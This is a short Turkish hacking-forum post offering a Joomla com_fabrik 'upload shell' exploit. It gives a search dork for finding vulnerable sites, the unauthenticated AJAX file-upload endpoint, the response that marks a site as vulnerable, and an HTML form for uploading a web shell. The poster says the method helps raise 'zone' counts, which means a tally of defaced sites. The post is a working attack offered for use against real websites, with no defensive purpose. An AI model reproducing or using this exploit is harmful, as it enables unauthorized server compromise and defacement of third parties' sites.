Gjz0
- 2 Ocak 2018
- 764 Mesaj
Aktiflik
Seviye
Deneyim
-
-
-Basit bir yöntem, ara sıra azda olsa zone kastırabilir.
Kod:
[+] Exploit Title : Joomla Com_fabrik Upload Shell
[+] Dork : inurl:index.php?option=com_fabrik
[+] Exploit :
[+] /index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload
[+] Vuln = {"filepath":null,"uri":null}
[+] Csrf =
<form method="POST" action="http://site.com/index.php?
option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload"
enctype="multipart/form-data">
<input type="file" name="file" /><button>Upload</button>
</form>
-Basit bir yöntem, ara sıra azda olsa zone kastırabilir.


